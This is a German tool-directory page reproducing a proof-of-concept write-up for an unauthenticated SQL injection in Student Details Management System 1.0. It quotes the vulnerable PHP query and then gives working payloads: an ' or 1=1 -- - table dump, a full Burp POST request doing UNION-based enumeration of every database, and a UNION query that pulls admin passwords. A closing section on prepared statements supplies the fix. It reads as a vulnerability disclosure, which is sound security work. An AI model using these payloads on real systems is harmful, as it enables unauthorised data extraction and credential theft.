Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-10110-SQLi — Proof-of-Concept für eine nicht authentifizierte SQL-Injection im Student Details Management System 1.0, das UNION-basierte Datenextraktion und den Diebstahl von Anmeldedaten demonstriert. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-10110-sqli
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsDatenbanksicherheit
GitHubxmyronn/cve-2026-10110-sqli

CVE-2026-10110-SQLi

Proof-of-Concept für eine nicht authentifizierte SQL-Injection im Student Details Management System 1.0, das UNION-basierte Datenextraktion und den Diebstahl von Anmeldedaten demonstriert.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Student Details Management System 1.0 – SQL-Injection (ohne Authentifizierung)

Informationen zur Schwachstelle

FeldDetails
ProduktStudent Details Management System
Anbietercode-projects.org
Version1.0
SchwachstellentypSQL-Injection (CWE-89)
CVE-IDAusstehend
CVSS-Score9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Authentifizierung erforderlichNein
Betroffene Datei/SMS/index.php
Verwundbarer Parameterroll (POST)

Beschreibung

Eine kritische SQL-Injection-Schwachstelle existiert in der Datei index.php des Student Details Management System 1.0. Der über eine POST-Anfrage übergebene Parameter roll wird ohne Bereinigung, Eingabevalidierung oder Verwendung von Prepared Statements direkt in eine rohe SQL-Abfrage eingefügt. Dies ermöglicht es einem nicht authentifizierten Remote-Angreifer, beliebiges SQL einzuschleusen und UNION-basierte Datenextraktion durchzuführen, wodurch der gesamte Datenbankserver einschließlich der Anmeldedaten-Tabellen ausgelesen werden kann.

Die Schwachstelle besteht im öffentlich zugänglichen Studentensuchformular und erfordert keinerlei Authentifizierung.


Verwundbarer Code

Datei: index.php (Zeilen 51–59)

root@kitploit:~
include('dbcon.php');
if (isset($_POST['show'])) {

    $Standard = $_POST['standard'];
    $RollNo = $_POST['roll'];

    $sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";

    $result = mysqli_query($conn,$sql);

Sowohl $Standard als auch $RollNo werden direkt aus $_POST übernommen, ohne Escape oder Parametrisierung. Der Angreifer kontrolliert den Parameter roll, um aus dem SQL-String-Kontext auszubrechen und beliebige Abfragen einzuschleusen.


Proof of Concept

Schritt 1 – Normales Verhalten bestätigen

Navigieren Sie zur Startseite der Anwendung und geben Sie eine gültige Rollennummer ein:

root@kitploit:~
http://<TARGET>/SMS/index.php

Geben Sie 1001 in das Feld für die Rollennummer ein → die Anwendung gibt die Studentendatensätze normal zurück.

Screenshot 2026-05-03 220510

Schritt 2 – SQL-Fehler auslösen (Injektionspunkt bestätigen)

Geben Sie ein einzelnes Anführungszeichen ' in das Feld für die Rollennummer ein und klicken Sie auf SHOW INFO.

Ergebnis: MariaDB wirft einen schwerwiegenden Fehler, der die rohe SQL-Abfrage und den Dateipfad offenlegt:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '"' at line 1 in 
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Screenshot 2026-05-03 220533

Schritt 3 – Authentifizierungsumgehung / Vollständiger Tabellen-Dump

Payload:

root@kitploit:~
' or 1=1 -- -

Ergebnis: Alle Studentendatensätze in der Datenbank werden ohne gültige Rollennummer zurückgegeben, was bestätigt, dass die Injektion ausnutzbar ist.

Screenshot 2026-05-03 220550

Schritt 4 – UNION-basierte Extraktion (Vollständige Datenbank-Enumeration)

Burp-Suite-Anfrage:

root@kitploit:~
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded

roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO

Ergebnis: Die Spalte name (Position 3 im UNION) spiegelt jeden Tabellennamen aus allen Datenbanken auf der MySQL-Instanz zurück – einschließlich admin, global_priv, users, mysql.user sowie Anmeldedaten-Tabellen aus mehreren anderen Anwendungen, die auf derselben XAMPP-Instanz installiert sind.

Screenshot 2026-05-03 220606

Schritt 5 – Pfad zur Rechteausweitung

Der Dump offenbart sensible Tabellen, darunter admin, users, global_priv und tbl_admin aus anderen Datenbanken auf demselben Server. Ein Angreifer kann Anmeldedaten extrahieren mit:

root@kitploit:~
roll=1' union select null,null,password,null,null,null,null from admin-- -

In Kombination mit der ausführlichen Fehlerausgabe (Schritt 2) wird auch die vollständige Offenlegung des Dateipfads bestätigt:

root@kitploit:~
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php

Auswirkungen

  • Vollständige Datenbank-Enumeration über alle Datenbanken auf dem Server (nicht nur die Zielanwendung)
  • Extraktion von Admin-Anmeldedaten über den Dump der admin-Tabelle
  • Vollständige Offenlegung des Dateipfads über die ausführliche SQL-Fehlerausgabe
  • Keine Authentifizierung erforderlich – ausnutzbar durch jeden nicht authentifizierten Besucher der Suchseite
  • Potenzielle Rechteausweitung auf andere Anwendungen, die dieselbe MySQL-Instanz nutzen

Behebung

Verwenden Sie Prepared Statements mit gebundenen Parametern:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();

Deaktivieren Sie zusätzlich die ausführliche PHP-/MySQL-Fehlerausgabe in der Produktion, indem Sie display_errors = Off in der php.ini setzen.


Referenzen

  • Anbieter-Startseite
  • CWE-89: SQL-Injection
  • OWASP SQL-Injection

Entdecker

Forscher: Imad Alvi

Tool herunterladen